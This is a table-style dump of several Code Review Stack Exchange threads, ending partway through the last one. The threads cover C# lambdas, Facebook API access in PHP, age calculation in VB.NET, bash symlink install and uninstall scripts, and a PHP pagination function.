body
stringlengths 25
86.7k
| comments
list | answers
list | meta_data
dict | question_id
stringlengths 1
6
|
|---|---|---|---|---|
<p>I started out with a function having code duplication like this:</p>
<pre><code> private static void GetAndSaveResources(string url)
{
...
if (url.Contains("[" + "access_id" + "]"))
{
RestCall.UriVariables.Add("access_id", 1);
}
if (url.Contains("[" + "affiliate_status" + "]"))
{
RestCall.UriVariables.Add("affiliate_status", "approved");
}
...
}
</code></pre>
<p>Then, because I had copy/pasted to make that code, I started trying to eliminate that duplication.</p>
<p>First I extracted a method:</p>
<pre><code> private static void ConfigureUriVariable(string url, string variable, object value)
{
if (url.Contains("[" + variable + "]"))
{
RestCall.UriVariables.Add(variable, value);
}
}
</code></pre>
<p>However, while that eliminated the duplication it also created a duplication of <code>string url</code> accross two functions so I futher reduced it to:</p>
<pre><code> Action<string,object> setUriVariable = (variable, value) =>
{
if (url.Contains("[" + variable + "]"))
{
RestCall.UriVariables.Add(variable, value);
}
};
setUriVariable("access_id", 1);
setUriVariable("affiliate_status", "approved");
</code></pre>
<p>However, I would have been confused by that code before I learned about lamdas so I wonder, was the last step a step in the wrong direction?</p>
|
[] |
[
{
"body": "<p>I don't think this makes your code any more \"DRY\", because you still have one function. It's just a matter of the scope the function exists in. If you <em>only</em> need this function here, then I don't think a lambda is a step in the wrong direction as it could make the rest of your code cleaner.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-22T17:47:16.237",
"Id": "10256",
"ParentId": "10255",
"Score": "2"
}
},
{
"body": "<p>It's not really a problem, and I like to gently prod newcomers into learning features like lambdas. </p>\n\n<p>That being said, I don't think that your url duplication int the first case is anti-dry, its a perfectly acceptable method extraction and it's private. Within the scope of private methods you can do pretty much whatever you like and it's not going to offend anyone too much.</p>\n\n<p>Another possibility that you might consider (though it would be a greater scope) would be to extension method the url so you can do url.ConfigureUriVariable(\"foo\", \"bar\"). The above would be a bit clearer if instead of a string you used a dedicated Url class. I recommend <a href=\"http://msdn.microsoft.com/en-us/library/system.uri.aspx\" rel=\"nofollow\">the built in Uri</a> or make your own.</p>\n\n<p>But really, I think you're all good.</p>\n\n<p>BTW - the lambda is still compiled to a delegate so the generated CL is pretty similar using either of your techniques.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-22T17:55:43.447",
"Id": "10257",
"ParentId": "10255",
"Score": "3"
}
},
{
"body": "<p>First, yes, I do think your solution with a lambda is a good choice. But it's worth to also consider other options:</p>\n\n<ol>\n<li><p>Translate the closure into an object. That would mean creating a class, with a constructor that takes <code>url</code> (and possibly <code>RestCall</code>, if it's an instance property) and stores it into a filed. It also has a method that actually does the work. Basically, this is the same as you lambda, only much more code. I think this is probably not a good solution in this case.</p></li>\n<li><p>Go the other way around: create a <code>Dictionary<string, object></code> (or <code>Tuple<string, object>[]</code> if order is important for you; or an array of anonymous type) with your parameters and then iterate over that:</p>\n\n<pre><code>var items = new Dictionary<string, object>\n{\n { \"access_id\", 1 },\n { \"affiliate_status\", \"approved\" }\n};\n\nforeach (var item in items)\n{\n if (url.Contains(\"[\" + item.Key + \"]\"))\n {\n RestCall.UriVariables.Add(item.Key, item Value);\n }\n};\n</code></pre></li>\n</ol>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-22T19:06:54.703",
"Id": "10260",
"ParentId": "10255",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-22T16:36:59.593",
"Id": "10255",
"Score": "5",
"Tags": [
"c#"
],
"Title": "Does using a lambda make this code more DRY?"
}
|
10255
|
<p>I am new at facebook development using their PHP-SDK and Graph API. I am at the stage that I need to find which road should I take for a better/faster and efficient results.</p>
<p>I display the pages a user administrates in both ways. My question is which one should I choose?<br>
Thank you community.</p>
<p><strong>Using Facebook PHP-SDK</strong></p>
<pre><code>require 'src/facebook.php';
$results = $facebook->api('/fql', array('q'=>'SELECT page_id FROM page_admin WHERE uid = me()'));
foreach($results['data'] as $result) {
echo $result['page_id'], '<br />';
}
</code></pre>
<p><strong>Using CURL & Graph Api</strong></p>
<pre><code>$query = "SELECT page_id FROM page_admin WHERE uid = me()";
$encodedQuery = urlencode($query);
$url = "https://graph.facebook.com/fql?q=".$encodedQuery."&access_token=".$_SESSION['fb_100515270076928_access_token'];
$ch = curl_init($url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
$results = curl_exec($ch);
$results = json_decode($results);
foreach ($results->data as $result) {
echo $result->name, '<br>';
}
</code></pre>
|
[] |
[
{
"body": "<p>I think you'd be better off using the official API wrapper from Facebook. If they ever change their APIs you could download the latest version of their wrapper and continue on.</p>\n\n<p>The best thing you can do for speed is cache the results. PHP can read files on the server a lot faster than downloading the information with CURL.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-29T13:45:09.643",
"Id": "10450",
"ParentId": "10259",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-22T18:58:54.667",
"Id": "10259",
"Score": "3",
"Tags": [
"php"
],
"Title": "Which one should I choose to work with, Facebook PHP-SDK or Graph Api with Curl?"
}
|
10259
|
<p>I am working on an app where I have to calculate the age of a person. Inside of my age class I have a function that is designed to account for leap year. Is there anything I am missing or could improve upon? I would have though this would have been more complicated so I am not confident in my method or my test case.</p>
<p>The function:</p>
<pre><code>Function calculateAge() As Integer
Dim age As Integer
Try
If Not Birthdate.Day.Equals(29) And Birthdate.Month.Equals(2) Then
age = todaysDate.Year - Birthdate.Year
Else
age = todaysDate.Year - Birthdate.Year - 1
End If
Return age
Catch ex As Exception
Console.WriteLine(ex.ToString)
Return Nothing
Finally
age = Nothing
End Try
End Function
</code></pre>
<p>The test:</p>
<pre><code> Sub Main()
'Test calculate age function'
Console.WriteLine(chip.calculateAge)
'Test calculate age function with a February 29th birthday'
Dim steve As New clsAge("Steve")
With steve
.Birthdate = #2/29/2008#
End With
Dim date1 As DateTime = #2/29/2000#
Dim date2 As DateTime = #2/28/2009#
Dim age As Integer
Console.WriteLine(date1.Day.ToString)
If Not date1.Day.Equals(29) And date1.Month.Equals(2) Then
age = date2.Year - date1.Year
Console.WriteLine(age.ToString)
Else
age = date2.Year - date1.Year
age = age - 1
Console.WriteLine(age.ToString())
End If
Console.ReadLine()
End Sub
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-22T22:32:59.033",
"Id": "16326",
"Score": "2",
"body": "See SO question [How do I calculate someone's age in C#?](http://stackoverflow.com/questions/9/how-do-i-calculate-someones-age-in-c). There are really interesting answers there. They are simple enough to be understood by a VB programmer. `DateTime` is the same as VB's `Date`."
}
] |
[
{
"body": "<p>what about?</p>\n\n<pre><code>var date1 = DateTime.Parse(\"2/29/2000\");\nvar date2 = DateTime.Parse(\"2/28/2009\");\n\nvar years_old = date2.Subtract(date1).TotalDays / 365.25;\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-22T22:51:41.507",
"Id": "16327",
"Score": "0",
"body": "I like it. It's simple, but elegant."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-22T22:40:39.480",
"Id": "10264",
"ParentId": "10263",
"Score": "2"
}
},
{
"body": "<p>If you'd like to avoid <a href=\"http://en.wikipedia.org/wiki/Magic_string\" rel=\"nofollow\">magic strings</a> when hardcoding 365.25 in your code, you can use the following code:</p>\n\n<p><strong>VB</strong></p>\n\n<pre class=\"lang-vb prettyprint-override\"><code>Dim date1 As Date = DateTime.Parse(\"5/14/1994\")\nDim date2 As Date = DateTime.Parse(\"5/13/2013\")\n\nDim yearsOld as Integer = date2.Year - date1.Year\nIf date1.AddYears(yearsOld) > date2 Then yearsOld -=1\n\nConsole.WriteLine(yearsOld) '18\n</code></pre>\n\n<p><strong>C#</strong></p>\n\n<pre class=\"lang-cs prettyprint-override\"><code>var date1 = DateTime.Parse(\"5/14/1994\");\nvar date2 = DateTime.Parse(\"5/13/2013\");\n\nint years_old = date2.Year - date1.Year;\nif (date1 > date2.AddYears(-years_old)) years_old--;\n\nConsole.WriteLine(years_old); //18\n</code></pre>\n\n<p>I'm also suspicious (though I have not run enough test cases to confirm) that there are some pair of dates with the right number of leap years that will break the functionality implemented based on days of the year.</p>\n\n<p>I wrote a blogpost about <a href=\"http://codingeverything.blogspot.com/2013/05/calculating-age-from-dob.html\" rel=\"nofollow\">calculating age from dob</a> as well, although it's in VB.NET</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2013-05-31T14:29:19.383",
"Id": "26845",
"ParentId": "10263",
"Score": "2"
}
},
{
"body": "<p>I doubt anyone will be using the code in the year 2100, but you should know that your solution would be off by a day if it was being used in that far flung future. </p>\n\n<blockquote>\n <p>In the Gregorian calendar 3 criteria must be taken into account to identify leap years:</p>\n \n <ul>\n <li>The year is evenly divisible by 4;</li>\n <li>If the year can be evenly divided by 100, it is NOT a leap year, unless;</li>\n <li>The year is also evenly divisible by 400. Then it is a leap year.\n This means that 2000 and 2400 are leap years, while 1800, 1900, 2100, 2200, 2300 and 2500 are NOT leap years.</li>\n </ul>\n</blockquote>\n\n<p><a href=\"http://www.timeanddate.com/date/leapyear.html\" rel=\"nofollow\">Source</a></p>\n\n<p>Basically, the year 2000 was a fluke. To really do it right, you have to take <em>all</em> of the criteria above into account. I imagine many programmers will be dealing with the Y21H bug about 80 years from now. </p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-07-30T04:16:31.177",
"Id": "58468",
"ParentId": "10263",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": "10264",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-22T22:05:57.070",
"Id": "10263",
"Score": "3",
"Tags": [
".net",
"datetime",
"vb.net"
],
"Title": "Attempt to calculate age in VB.NET"
}
|
10263
|
<p>Right now I am working on an install and uninstall script for my vim configuration files. The install script links files and directories and the uninstall script deletes those links. I just want to make sure that this code is somewhat safe, are there better ways of doing the same thing? Here is the code I have right now:</p>
<p>Install Script:</p>
<pre><code>#!/bin/bash
# The install script for my vim dotfiles.
# Find the location of the script.
SCRIPT_DIRECTORY="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
# The source directory and target directories.
SOURCE_LOCATION="$SCRIPT_DIRECTORY/src" # Contains the files and directories I want to work with.
TARGET_LOCATION="$SCRIPT_DIRECTORY/test-home" # The location I want to link to, in production this would be "~/"
# Link the files from source to the target with a dot appended to the front.
find $SOURCE_LOCATION -mindepth 1 -maxdepth 1 -printf "%P\n" | while read file; do
echo "Linking $SOURCE_LOCATION/$file to $TARGET_LOCATION/.$file"
ln -s "$SOURCE_LOCATION/$file" "$TARGET_LOCATION/.$file"
done
</code></pre>
<p>Uninstall Script:</p>
<pre><code>#!/bin/bash
# The uninstall script for my vim dotfiles.
# Find the location of the script.
SCRIPT_DIRECTORY="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
# The source directory and target directories.
SOURCE_LOCATION="$SCRIPT_DIRECTORY/src" # Contains the files and directories I want to work with.
TARGET_LOCATION="$SCRIPT_DIRECTORY/test-home" # The location I want to link to, in production this would be "~/"
# Remove the links the install script would create.
find $SOURCE_LOCATION -mindepth 1 -maxdepth 1 -printf "%P\n" | while read file; do
echo "Removing $TARGET_LOCATION/.$file"
rm -I "$TARGET_LOCATION/.$file"
done
</code></pre>
|
[] |
[
{
"body": "<p>If you're worried about it being safe, probably verifying that what you're deleting is a symlink and bailing out if not would be a good start:</p>\n\n<pre><code>if [[ ! -h $TARGET_LOCATION/.$file ]]; then\n printf >&2 \"%s is not a symlink!\\n\" \"$TARGET_LOCATION/.$file\"\n return 1\nfi\n</code></pre>\n\n<p>Also, your deploy script doesn't seem to much care if there are existing .vim/.vimrc files to deal with, so I have to wonder: why bother juggling the configs? If there's any possibility someone else's config will be there, best check for it</p>\n\n<pre><code>if [ -e \"$TARGET_LOCATION/.$file\" ]; then\n printf >&2 \"%s exists, cowardly refusing to clobber it\\n\" \"$TARGET_LOCATION/.$file\"\n return 1\nfi\n</code></pre>\n\n<p>You might also consider placing this at the top of your script:</p>\n\n<pre><code>set -e\n</code></pre>\n\n<p>This will cause your script to cease execution immediately if any command in the pipe returns a non-0 status and isn't caught by an explicit check (if/then, &&/||, etc -- see manpage for the gory details). Generally, I recommend to always write shell with this on, but especially so if you're doing something you're nervous will misbehave.</p>\n\n<p>I am not sure about this:</p>\n\n<pre><code>SCRIPT_DIRECTORY=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\n</code></pre>\n\n<p>Is that how you are getting an absolute path? I would be cautious, if for some reason that command fails, even set -e won't catch it (launched in a subshell), then you have an unset $SCRIPT_DIRECTORY. That may cause find to fail, but it might cause it to walk your CWD, too.. hard to tell at a glance. I personally use a set of functions I tote around that do path normalization and has proper abspath() function to use, but in the interest of keeping this simple, consider skipping the clever tricks and set an explicit path (assuming it's not going to be changing). If that's not an option, I would add a sanity check to make sure what I'm walking and copying is what I expect. This can be as simple as checking a file is there that wouldn't be in ~ already.</p>\n\n<p>And just throwing this out there: Consider making your dotfiles permanent but with a different name, then use an alias/function to set the desired config, e.g.: myvim () { vim -u \"$HOME/.my.vimrc\" \"$@\"; }. Not sure of your situation, but it might be more pleasant/less sketchy way to handle it.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T22:58:54.120",
"Id": "16452",
"Score": "0",
"body": "Brilliant answer, that's just the advice I was looking for!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T18:25:11.847",
"Id": "10324",
"ParentId": "10266",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "10324",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T00:33:33.200",
"Id": "10266",
"Score": "3",
"Tags": [
"bash"
],
"Title": "Shell script that creates and deletes symbolic links"
}
|
10266
|
<p>I recently had an interview for a programming job and after the interview I was then asked to create a function with the following brief:</p>
<blockquote>
<p>The Task:</p>
<p>Relating to pagination links: given a page number, a total number of pages, and an amount of 'context' pages, generate the appropriate pagination links. For example, with 9 pages in total and a context of 1 page, you would get the following results for pages 1 to 9:</p>
<p>For page 1: 1 2 ... 8 9</p>
<p>For page 2: 1 2 3 ... 8 9</p>
<p>For page 3: 1 2 3 4 ... 8 9</p>
<p>For page 4: 1 2 3 4 5 ... 8 9</p>
<p>For page 5: 1 2 ... 4 5 6 ... 8 9</p>
<p>For page 6: 1 2 ... 5 6 7 8 9</p>
<p>For page 7: 1 2 ... 6 7 8 9</p>
<p>For page 8: 1 2 ... 7 8 9</p>
<p>For page 9: 1 2 ... 8 9</p>
<p>I would like you to write a PHP function with the following signature to solve this task:</p>
<pre><code>function outputLinks($page, $numberOfPages, $context)
</code></pre>
</blockquote>
<p>The code below is what I submitted and I've now been asked to complete another task which is good news in my eyes, so I can only assume that my code for this task was at least good enough. But I was just wondering how good my submission really was! Is there an easier (or simpler) way to achieve the same results? Could I shorten my code at all?</p>
<pre><code><?php
// Global Variables
$p = $_GET['p']; // Current Page
$t = 9; // Total Pages
$c = 1; // Context Pages
// Pagination Function
function outputLinks($page, $numberOfPages, $context) {
// Correct page variable
if (!$page || $p < 1) { $page = 1; }
if ($page > $numberOfPages) { $page = $numberOfPages; }
// Set array variables
$leftArray = $midArray = $rightArray = array();
// Left Array
for ($x = 1; $x <= (1 + $context) && $x <= $numberOfPages; $x++) {
array_push($leftArray, $x);
}
// Right Array
for ($x = $numberOfPages - $context; $x <= $numberOfPages && $x > 0; $x++) {
if (!in_array($x, $leftArray)) {
array_push($rightArray, $x);
}
}
// Left/Right Array First/Last values to variables
$firstInLeftArray = current($leftArray);
$lastInLeftArray = end($leftArray);
$firstInRightArray = current($rightArray);
$lastInRightArray = end($rightArray);
// Middle Array
if ($page == $firstInLeftArray || $page == $lastInRightArray) {
if (($firstInRightArray - $lastInLeftArray) > 1) {
array_push($midArray, ' ... ');
}
} else {
if (in_array($page, $leftArray)) {
for ($x = $page; $x <= ($page + $context) && $x <= $numberOfPages; $x++) {
if (!in_array($x, $leftArray) && !in_array($x, $rightArray)) {
array_push($midArray, $x);
}
}
} else if (in_array($page, $rightArray)) {
for ($x = ($page - $context); $x < $firstInRightArray && $x > $lastInLeftArray; $x++) {
array_push($midArray, $x);
}
} else {
for ($x = ($page - $context); $x <= ($page + $context) && $x > 0; $x++) {
if (!in_array($x, $leftArray) && !in_array($x, $rightArray)) {
array_push($midArray, $x);
}
}
}
// Middle Array First/Last values to variables
$firstInmidArray = current($midArray);
$lastInmidArray = end($midArray);
// Ellipses for omitted numbers
if (($firstInmidArray - $lastInLeftArray) > 1) {
array_push($leftArray, ' ... ');
}
if (!empty($midArray) && ($firstInRightArray - $lastInmidArray) > 1) {
array_push($midArray, ' ... ');
}
}
// Display Arrays
echo 'Page '.$page.' of '.$numberOfPages.': ';
foreach ($leftArray as $value) {
if ($value == ' ... ') { echo $value; } else { echo ' <a href="?p='.$value.'" target="_self">'.$value.'</a> '; }
}
foreach ($midArray as $value) {
if ($value == ' ... ') { echo $value; } else { echo ' <a href="?p='.$value.'" target="_self">'.$value.'</a> '; }
}
foreach ($rightArray as $value) {
echo ' <a href="?p='.$value.'" target="_self">'.$value.'</a> ';
}
}
// Initialize document
print('<!DOCTYPE HTML><html><head><title>Pagination Function</title></head><body>');
// Generate Pagination through the outputLinks function
outputLinks($p, $t, $c);
// Close the document
print('</body></html>');
?>
</code></pre>
|
[] |
[
{
"body": "<p>You can cut out some redundancy by just using one array to store the results, and you can cut down on the number of operations by doing simple checks against what we know will be the last and first members of the outer page groups instead of checking whether those numbers are in the right/left arrays. If you wanted to be super fancy, and save even more operations, you could store all those values in variables so you're not doing the arithmetic operations every iteration in the loops, but I didn't bother.</p>\n\n<p>I'm not <em>too</em> well versed in php, but here's a version with some changes. I was able to cut about 40 lines.</p>\n\n<pre><code><?php\n\n // Global Variables\n\n $p = $_GET['p']; // Current Page\n $t = 9; // Total Pages\n $c = 1; // Context Pages\n\n // Pagination Function\n function outputLinks($page, $numberOfPages, $context) \n {\n $display = array();\n\n //Left-side pages\n for($i = 1; $i <= 1 + $context; $i++)\n {\n array_push($display, buildPageLink($i));\n }\n\n if(($page - $context) - (1 + $context) > 1)\n array_push($display, \"...\");\n\n //Middle pages\n for($i = ($page - $context); $i <= ($page + $context); $i++)\n {\n if($i > (1 + $context) && $i < ($numberOfPages - $context)) \n array_push($display, buildPageLink($i));\n }\n\n if($page + $context < $numberOfPages - $context)\n array_push($display, \"...\");\n\n //Right-side pages\n for($i = $numberOfPages - $context; $i <= $numberOfPages; $i++)\n {\n array_push($display, buildPageLink($i));\n }\n\n echo 'Page ' . $page . ' of ' .$numberOfPages . ': ';\n foreach($display as $val)\n {\n echo $val;\n }\n\n }\n\n function buildPageLink($pagenum)\n {\n return ' <a href=\"?p='.$pagenum.'\" target=\"_self\">'.$pagenum.'</a> ';\n }\n\n // Initialize document\n\n print('<!DOCTYPE HTML><html><head><title>Pagination Function</title></head><body>');\n\n // Generate Pagination through the outputLinks function\n\n outputLinks($p, $t, $c);\n\n // Close the document\n\n print('</body></html>');\n\n?>\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T01:57:45.647",
"Id": "16455",
"Score": "0",
"body": "That is definitely a better approach than mine but it doesn't work in all scenarios like mine does. If you changed `numberOfPages` from 9 to 3, you get `Page 1 of 3: 1 2 2 3` and also if you have more context pages than `numberOfPages` you get problems, for example `$numberOfPages = 9` and `$context = 10` you get `Page 9 of 9: 1 2 3 4 5 6 7 8 9 10 11 -1 0 1 2 3 4 5 6 7 8 9` - I know this can be fixed in your code too. But just wanted to point out it doesn't work in every case. Thank you for the ideas though!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T15:46:28.390",
"Id": "10287",
"ParentId": "10271",
"Score": "0"
}
},
{
"body": "<p>Yes, I would have written this completely differently (so I decided to do just that). I'll follow my solution with a hopefully scientific analysis of both solutions. Finally I'll give some personal recommendations.</p>\n\n<p>Note: The reason for the in-depth analysis is that I was already interested in pagination and thinking about an implementation for a framework that I am writing.</p>\n\n<h2>Model</h2>\n\n<pre><code>/** Model the data for pagination.\n */\nclass ModelPaginator\n{\n /** Get the links for pagination.\n * @param page \\int The page number for the current page.\n * @param numberOfPages \\int The total number of paginated pages.\n * @param context \\int The number of context pages surrounding the current,\n * first and last pages.\n * @return \\array An array with the ranges of pages for pagination.\n */\n public function getLinks($page, $numberOfPages, $context)\n {\n // Sanitize the inputs (I am trying to follow your example here, I would\n // throw exceptions if the values weren't as I expected).\n $numberOfPages = max($numberOfPages, 1);\n $context = min(max($context, 0), $numberOfPages - 1);\n $page = min(max($page, 1), $numberOfPages);\n\n return array_unique(\n array_merge(range(1, 1 + $context),\n range(max($page - $context, 1),\n min($page + $context, $numberOfPages)),\n range($numberOfPages - $context, $numberOfPages)));\n }\n}\n</code></pre>\n\n<h2>View</h2>\n\n<pre><code>/** A simple view for paginator links.\n */\nclass ViewPaginatorLinks\n{\n protected $separator;\n\n /** Construct the paginator.\n * @param separator \\string Separator between gaps.\n */\n public function __construct($separator=' ... ')\n {\n $this->separator = $separator;\n }\n\n /** Write the pagination links.\n * @param links \\array The links array.\n * @param currentPage \\int The current page.\n */\n public function write($links, $currentPage)\n {\n $currentPage = min(max($currentPage, 1), end($links));\n\n echo 'Page ' . $currentPage . ' of ' . end($links) . ': ';\n $previousPage = 0;\n\n foreach ($links as $page) {\n if ($page !== $previousPage + 1) {\n $this->writeSeparator();\n }\n\n $this->writeLink($page);\n $previousPage = $page;\n }\n }\n\n /*******************/\n /* Private Methods */\n /*******************/\n\n /** Write the link to the paginated page.\n * @param page \\array The page that we are writing the link for.\n */\n private function writeLink($page)\n {\n echo '<a href=\"?p=' . $page . '\" target=\"_self\">' . $page . '</a>' .\n \"\\n\";\n }\n\n /// Write the separator that bridges gaps in the pagination.\n private function writeSeparator()\n {\n echo '<span>' . $this->separator . '</span>' . \"\\n\";\n }\n}\n</code></pre>\n\n<h2>Usage</h2>\n\n<pre><code>$numberOfPages = 29;\n$currentPage = 13;\n$context = 1;\n\n$Model = new ModelPaginator;\n$View = new ViewPaginatorLinks;\n\n$View->write($Model->getLinks($currentPage, $numberOfPages, $context),\n $currentPage);\n</code></pre>\n\n<h1>Analysis</h1>\n\n<p>I'll be going through some metrics thanks to <a href=\"http://github.com/sebastianbergmann/phploc\" rel=\"nofollow noreferrer\">PHPLOC</a>. I added the maximum line length to these metrics.</p>\n\n<p><strong>Your Solution</strong></p>\n\n<pre><code>Lines of Code (LOC): 117\n Cyclomatic Complexity / Lines of Code: 0.37\nComment Lines of Code (CLOC): 34\nNon-Comment Lines of Code (NCLOC): 83\n\nMaximum Line Length 120\n</code></pre>\n\n<p><strong>My Solution</strong></p>\n\n<pre><code>Lines of Code (LOC): 97\n Cyclomatic Complexity / Lines of Code: 0.03\nComment Lines of Code (CLOC): 34\nNon-Comment Lines of Code (NCLOC): 63\n\nMaximum Line Length 80\n</code></pre>\n\n<h2>Lines of Code</h2>\n\n<p>My solution has 20 fewer lines. This could well be due to removing quite a few blank lines. However, measured in characters it is 2905 characters long against your 4089. So there is definitely a large difference in typing required.</p>\n\n<h2>Cyclomatic Complexity</h2>\n\n<p>This is a measure of how complex the code is (see <a href=\"http://en.wikipedia.org/wiki/Cyclomatic_complexity\" rel=\"nofollow noreferrer\">wikipedia</a>). Highly complex code is normally harder to maintain and contains more bugs. My code is a factor of 10 less complex. This is due to the flatness of my code. See Jeff Atwood's <a href=\"http://www.codinghorror.com/blog/2006/01/flattening-arrow-code.html\" rel=\"nofollow noreferrer\">Flattening Arrow Code</a> blog.</p>\n\n<h2>Comments</h2>\n\n<p>The number has remained the same according to PHPLOC, but it seems to be counting blank lines. Manually I can only count 14 in your code versus 27 in mine, even though the number of lines of code were reduced in my solution. Proportionally the commenting in my solution is much higher. At the highest level of abstraction (class, function definitions) I have comments where you have virtually none. My comments cover input parameters to functions and can be used in automatic documentation tools like <a href=\"http://www.doxygen.nl/\" rel=\"nofollow noreferrer\">Doxygen</a> or <a href=\"http://www.phpdoc.org/\" rel=\"nofollow noreferrer\">PHPDocumentor</a>.</p>\n\n<h2>Line Length</h2>\n\n<p>Firstly, I am unsure whether the formatting of your code here is exactly as it was. I'll assume the true maximum line length of your code is 120 characters. These days monitors can handle 120 characters wide. However when you are editing two or three files side by side they can't. You also end up with large blank areas for showing the long lines (unless you are ok with it wrapping).</p>\n\n<h2>Performance</h2>\n\n<p>I ran each code 100, 000 times with no output being echoed (the buffer was cleared after each iteration).</p>\n\n<p>There were a few different configurations that I tested as far as object creation and usage:</p>\n\n<ul>\n<li>Creating objects within each loop: Your code was 21% faster.</li>\n<li>Creating the objects outside of the loop: Your code was 10% faster.</li>\n<li>Creating the objects outside the loop, getting the model data and running only the view code in the loop: Mine was 27% faster.</li>\n</ul>\n\n<p><strike>Your code has the better performance</strike>, but the 100, 000 iterations only took <strike>5.8</strike> 4.2 seconds (<strong>see edit below</strong>) on my not very fast machine. <strike>I think the performance difference is probably due to my split of Model and View.</strike> I would only consider changing this split if the code was running on a site with enormous traffic and it was shown by profiling that real gains could be had from changing the pagination.</p>\n\n<p><strong>Edit:</strong> The performance gains from your solution were troubling me. With some profiling I was able to see that the View was wasting a lot of time dispatching the calls with <code>$this->writeSeparator</code> and <code>$this->writeLink</code>. Replacing these calls with their code (seeing as they were only 1 line anyway) led to a large performance gain. My code was faster by 10%, 18% and 59%. Worst case performance is 4.2s for 100 000 iterations (context = 1).</p>\n\n<h1>Real Recommendations</h1>\n\n<p>The following line should not have $p in it. <strong>Globals</strong> are bad practice and will only make you look bad.</p>\n\n<p><code>if (!$page || $p < 1) { $page = 1; }</code></p>\n\n<p><strong>Comments</strong> belong with the code they are commenting on. A blank line after a comment only distances it from that.</p>\n\n<p>I think your code was missing a '}' for the end of your function.</p>\n\n<p><strong>Mixed indentation</strong> for if/elseif removes the visual cues for grouping. Instead of:</p>\n\n<pre><code>if () {\n} else if () {\n}\n</code></pre>\n\n<p>Use:</p>\n\n<pre><code>if () {\n}\nelseif () { // elseif is equivalent to else if\n}\n</code></pre>\n\n<p>Similarly I would avoid one line <code>if</code> and <code>if</code>/<code>else</code> statements </p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-23T18:06:12.380",
"Id": "16390",
"Score": "0",
"body": "Cool! But not enough checks! :) What if $context == $numberOfPages in the Model? What if $currentPage > $numberOfPages in the View?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-24T02:46:31.940",
"Id": "16400",
"Score": "0",
"body": "Thanks for that, I've fixed those now and added some analysis."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T02:14:57.607",
"Id": "16456",
"Score": "0",
"body": "That is one heck of a reply, thank you!! I think your coding knowledge is above mine ha! I've never used model/classes if I'm honest so that's a little new to me but I'm taking it all in as well as your recommendations! However, I've copied your code (model, view, usage - in that order) and tested it and it doesn't work so I'm assuming I'm probably doing something wrong, but I can't see what exactly. I only changed the `$numberOfPages = 9; $currentPage = $_GET['p'];` and if I go to page 1 I get the output: `Page 1 of 9: 12...12...89` and going to page 2: `Page 2 of 9: 12...123...89`"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T02:16:07.700",
"Id": "16457",
"Score": "0",
"body": "Oh and as for missing the closing bracket on the function I think that was me just accidentally deleting it on this text editor, it was there in the real code :)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T03:59:03.933",
"Id": "16462",
"Score": "0",
"body": "Sorry, I have fixed my solution now. I needed to use array_unique to remove the duplicate values. You did well with your solution, getting it right is the main thing."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-08-10T04:42:19.570",
"Id": "438699",
"Score": "0",
"body": "`Not identical` comparison in your `write` method, will return true if the PHP `range` return a `float` number (depend on version), and this will make separator not printed in right place. So better use `not equal` comparison for number. `$page != $previousPage + 1` or `$page <> $previousPage + 1`"
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2012-03-23T17:23:08.110",
"Id": "10292",
"ParentId": "10271",
"Score": "6"
}
},
{
